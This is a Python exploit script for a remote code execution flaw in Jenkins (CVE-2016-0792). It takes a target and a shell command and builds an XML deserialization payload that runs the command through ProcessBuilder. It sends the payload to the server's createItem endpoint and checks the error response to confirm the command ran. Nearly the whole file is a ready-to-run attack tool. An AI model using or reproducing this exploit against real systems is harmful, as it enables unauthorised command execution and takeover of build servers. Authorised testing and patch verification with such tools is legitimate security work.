#! /usr/bin/env python2

#Jenkins Groovy XML RCE (CVE-2016-0792)
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
#Made with <3 by @byt3bl33d3r

from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if len(args.target.split(':')) != 2:
    print('[-] Target must be in format IP:PORT')
    sys.exit(1)

if not args.command:
    print('[-] You must specify a command to run')
    sys.exit(1)

ip, port = args.target.split(':')

print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))

xml_formatted = ''
command_list = args.command.split()
for cmd in command_list:
    xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)

xml_payload = '''<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                {}
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </owner>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
   <int>1</int>
 </entry>
</map>'''.format(xml_formatted.strip())

print('[*] Generated XML payload:')
print(xml_payload)
print() 

print('[*] Sending payload')
headers = {'Content-Type': 'text/xml'}
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)

paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
if r.status_code == 500:
    for path in paths_in_trace:
        if path in r.text:
            print('[+] Command executed successfully')
            break